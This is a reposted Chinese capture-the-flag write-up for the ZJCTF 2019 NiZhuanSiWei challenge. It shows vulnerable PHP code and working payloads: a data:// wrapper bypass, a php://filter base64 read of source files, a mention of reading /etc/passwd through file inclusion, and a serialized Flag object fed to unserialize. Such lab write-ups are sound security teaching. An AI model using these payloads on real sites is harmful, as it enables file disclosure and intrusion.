[ZJCTF 2019]NiZhuanSiWei

试题地址:

http://2b16299c-4fa0-4400-b0ff-7d82df33771f.node4.buuoj.cn/

  1. 我们打开页面会发现这样一段代码

     <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?> 
    
  2. 我们先尝试绕过第一个if判断if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

    思路:

    利用data协议绕过,将welcome to the zjctf字符读入

    data://协议允许读入

    参考链接:

    file_get_contents:https://www.runoob.com/php/func-filesystem-file-get-contents.html

    data协议:https://www.cnblogs.com/hustskyking/p/data-uri.html

    我们构造payload:

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后我们尝试绕过第二个if:

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
    
file参数我们可控,但是我们不能直接读取flag文件,我们尝试读取useless.php
我们可以直接读取/etc/passwd文件,file=/etc/passwd.
但是针对php文件需要进行base64编码,否则读取不到内容,所以无法使用file=useless.php

所以我们构造payload:

file=php://filter/read=convert.base64-encode/resource=useless.php

进去之后我们会看见一个页面,这里面有一段base64密文,拿去解密得到一段代码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这里file我们可以控制,我们将falg.php赋值给$file变量
public $file; 改为 public $file="flag.php"; 

我们接下来尝试第三个绕过:

include($file);  //useless.php
$password = unserialize($password);
echo $password;

我们可以将上面useless.php里面的改过的代码序列化传给password变量:

序列化结果:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后构造payload:

http://2b16299c-4fa0-4400-b0ff-7d82df33771f.node4.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

然后查看源代码发现flag:


内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/tzf1/p/14980915.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!